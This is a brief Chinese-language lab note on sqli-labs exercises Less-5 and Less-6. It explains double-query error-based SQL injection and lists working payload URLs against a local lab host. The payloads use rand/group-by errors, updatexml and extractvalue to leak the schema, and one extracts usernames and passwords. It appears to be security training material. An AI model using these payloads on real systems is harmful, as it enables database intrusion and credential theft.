less5

通过查看其他博客（https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/#0x01-%E5%8F%8C%E6%9F%A5%E8%AF%A2）的解释得到自己的理解，主要是因为group by  count(*),rand(*)这样的聚合函数在SQL查询时会出现错误。

先查看一下查询语句：SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;

执行count(*),group by  a  时，建立一张虚拟表键值是 a  ，a的值跟floor(rand（)*2)有关系，rand() 意思是取 0-1 随机小数， floor() 取整的意思，floor(rand（)*2)只有两个结果 0 跟1 ， floor(rand（)*2)跟test 表的行数有关系，只要大于3，就会报错。

less 5 语句

http://10.9.2.81/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a;--+

http://10.9.2.81/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+

http://10.9.2.81/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

less 6语句

http://10.9.2.81/Less-6/?id=1%22%20union%20select%201,count(*),concat((select%20database()),floor(rand(0)*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a;--+

http://10.9.2.81/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)),1)--+

http://10.9.2.81/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,%27:%27,password)%20from%20security.users)),1)--+

http://10.9.2.81/Less-5/?id=1"and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+